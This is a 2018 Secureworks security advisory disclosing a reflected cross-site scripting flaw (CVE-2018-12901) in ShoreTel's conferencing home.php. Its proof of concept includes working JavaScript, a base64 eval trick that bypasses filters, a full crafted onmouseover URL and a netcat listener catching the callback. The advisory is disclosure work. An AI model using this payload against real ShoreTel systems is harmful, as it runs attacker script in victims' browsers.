Secureworks®

Security Advisory SCWX-2018-001

Vulnerability in ShoreTel Conferencing Platform

Release date: December 20, 2018

Summary

A vulnerability in the ShoreTel platform (CVE-2018-12901) could allow an attacker to create a specially crafted URL that gives them the ability to execute arbitrary code in a victim's browser if the victim clicks the link. This issue was discovered by Harrison Coale of Secureworks® during a penetration test against a client. The severity of these issue is medium, as exploitation requires little effort on the part of the attacker and the systems are readily found by searching indexed public systems on Google. ShoreTel platform versions prior to and including 19.49.8600.0 may be vulnerable to cross-site scripting.

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-Site Scripting')

A reflected cross-site scripting (XSS) vulnerability affecting ShoreTel conferencing platform versions through 19.49.8600.0 allows an attacker to execute remote JavaScript in a victim's browser via a specially crafted link. In the home.php script, a "onmouseover" alert can include a special payload by using grave accents (`, also known as backticks). This approach bypasses filters and obfuscates the payload because the page converts the URL input from ASCII to binary characters. The URL payload is then included when the page is rendered and is rendered as JavaScript, which the victim's browser freely executes. The payload can be adapted to suit an attacker's needs by modifying the obfuscated string.

Proof of concept

The following example shows how this vulnerability can be exploited. An attacker could set up a host, point the payload to that host, and request any script on the victim's browser.

1. Create a malicious script to encode and inject. The i.src value can be substituted for a non-local payload.

   ```
   i = document.createElement('script');
   i.src = 'https://127.0.0.1/i.js';
   l = document.getElementById('loader');
   l.appendChild(i);
   ```

2. Use the ShoreTel developer console to covert the malicious JavaScript:

   ```
   "eval(atob(`" +
   btoa("i=document.createElement('script');i.src='https://127.0.0.1/i.js';l=docume
   nt.getElementById('loader');l.appendChild(i);") + "`))"
   ```

3. Add the script to the onmouseover parameter:

   ```
   eval(atob(`aT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtpLnNyYz0naHR0cHM6Ly8xM
   jcuMC4wLjEvaS5qcyc7bD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9hZGVyJyk7bC5hcHBlbmRDa
   GlsZChpKTs=`))
   ```

4. Add this payload to the onmouseover parameter in the crafted URL:

```
https://<redacted>/home.php/t0cp0%22%20onmouseover%3deval(atob(%60aT1kb2N1bWVudC
5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtpLnNyYz0naHR0cHM6Ly8xMjcuMC4wLjEvaS5qcyc7bD1kb2
N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9hZGVyJyk7bC5hcHBlbmRDaGlsZChpKTs=%60))%20style%
3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b
%20cjgkp
```

5. Quickly set up a Netcat listener, click the link, and verify that the JavaScript payload makes a call to the specified IP address, which in this example is a local resource:

```
root@spontaneousdisassemblymachine:~# nc -nlvp 443
listening on [any] 443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 53860
```

Justification of assigned severity

The following factors contributed to the assessment of a **Medium** severity:

- **CVSSv3:** 6.1
- **Damage:** This attack could compromise the confidentiality of the ShoreTel platform and/or lead to exploitation of the victim's browser and system.
- **Reproducibility:** This attack is extremely reproducible, and automated tooling readily displays the injection point.
- **Exploitability:** If an attacker can convince a victim to click a link, the vulnerability is easily exploitable. The rest of the attack is automated.
- **Affected users:** Because the vulnerability is exploited prior to authentication, all users of this platform and anyone accessing these links are at risk.
- **Discoverability:** This vulnerability was easily identifiable but required thoughtful crafting of the payload to achieve execution.

Disclosure history

April 2, 2018: Contacted vendor

December 20, 2018: Published public advisory

PGP key

This advisory has been signed with a Secureworks PGP key that is available for download at https://www.secureworks.com/~/media/Files/Keys/SecureworksDisclosures.ashx?la=en.

About Secureworks

Secureworks® (NASDAQ: SCWX) is a leading global cybersecurity company that keeps organizations safe in a digitally connected world. By combining our visibility into threat behavior across client environments with our expertise and a powerful processing platform, we help organizations anticipate emerging threats, detect malicious activity in real time, assess risk, and take appropriate action to avoid or mitigate risk of a security breach. We offer our clients a cyber-defense that is Collectively Smarter. Exponentially Safer.™ www.secureworks.com

Disclaimer

The most recent version of this advisory may be found on the Secureworks website at https://www.secureworks.com. The contents of this advisory may change or be removed from the website without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. ANY USE OF THIS INFORMATION IS AT THE USER'S RISK. In no event shall Secureworks be liable for any damages whatsoever arising out of or in connection with the use or further publication or disclosure of this information.